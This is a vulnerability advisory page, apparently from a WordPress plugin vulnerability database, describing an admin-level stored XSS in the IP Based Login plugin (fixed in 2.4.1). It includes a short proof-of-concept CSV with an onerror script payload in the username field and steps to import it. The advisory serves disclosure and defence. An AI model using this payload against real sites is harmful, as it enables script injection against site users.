IP Based Login < 2.4.1 – Admin+ Stored XSS | CVE 2024-12800 | Plugin Vulnerabilities

Description

The plugin does not sanitise values when importing, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).

Proof of Concept

Create a CSV file containing:

```
Username,"Start IP","End IP",Status,Used
admin,1.1.1.1,1.1.1.255,1,
admin<img/src/onerror=alert(1)>,1.1.1.1,1.1.1.255,1
```

- Import the CSV at `https://example.com/wp-admin/admin.php?page=ip-based-login`
- When the page reloads, you will see the XSS

Affects Plugins

Fixed in 2.4.1

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Dogus Demirkiran

Submitter

Dogus Demirkiran

Verified

Yes

WPVDB ID

8f1ceca5-3b7b-4cf0-bccd-03e204e5bfad

Timeline

Publicly Published

2024-11-14 (about 1 year ago)

Added

2025-03-06 (about 9 months ago)

Last Updated

2025-03-06 (about 9 months ago)

Other

Published

Title

Published

2021-06-28

Title

DrawBlog <= 0.90 - Authenticated Stored Cross-Site Scripting (XSS)

Published

2025-09-18

Title

Download Manager < 3.3.24 - Reflected Cross-Site Scripting via `user_ids` Parameter

Published

2024-07-19

Title

Gutenverse < 1.9.3 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2025-06-27

Title

Beauty Contact Popup Form <= 6.0 - Authenticated (Administrator+) Stored Cross-Site Scripting

Published

2022-08-25

Title

Event Calendar < 1.4.7 - Reflected Cross-Site Scripting